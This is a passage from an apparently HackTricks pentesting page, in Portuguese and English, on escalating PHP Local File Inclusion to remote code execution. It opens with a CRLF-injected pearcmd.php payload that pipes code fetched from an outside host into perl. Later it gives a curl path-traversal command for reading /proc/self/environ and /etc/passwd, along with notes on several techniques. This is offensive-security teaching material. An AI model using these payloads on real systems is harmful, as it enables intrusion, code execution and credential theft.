Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
Se você encontrou uma Local File Inclusion e um arquivo expondo phpinfo() com file_uploads = on, você pode obter RCE:
Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Se você encontrou uma Local File Inclusion e você consegue exfiltrar o caminho do arquivo temporário MAS o servidor está verificando se o arquivo a ser incluído tem PHP marks, você pode tentar bypass dessa verificação com essa Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Via eternal waiting + bruteforce
Se você puder abusar do LFI para upload temporary files e fazer o servidor travar a execução do PHP, você poderia então brute force filenames during hours para encontrar o arquivo temporário:
Para Erro Fatal
Se você incluir qualquer um dos arquivos /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Você precisa incluir o mesmo 2 time para causar esse erro).
I don’t know how is this useful but it might be.
Mesmo se você causar um PHP Fatal Error, os arquivos temporários do PHP enviados são removidos.
.png)
Preserve traversal sequences from the client
Alguns clientes HTTP normalizam ou colapsam ../ antes da request chegar ao servidor, quebrando payloads de directory traversal. Use curl --path-as-is para manter o traversal intacto quando abusar de log/download endpoints que concatenam um filename controlado pelo usuário, e adicione --ignore-content-length para pseudo-files como /proc:
curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'
Ajuste o número de segmentos ../ até escapar do diretório pretendido e, em seguida, extraia /etc/passwd, /proc/self/cwd/app.py ou outros arquivos de origem/configuração.
Referências
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
- The Art of PHP: CTF‑born exploits and techniques
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- HTB: Imagery (admin log download traversal +
/proc/self/environread)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


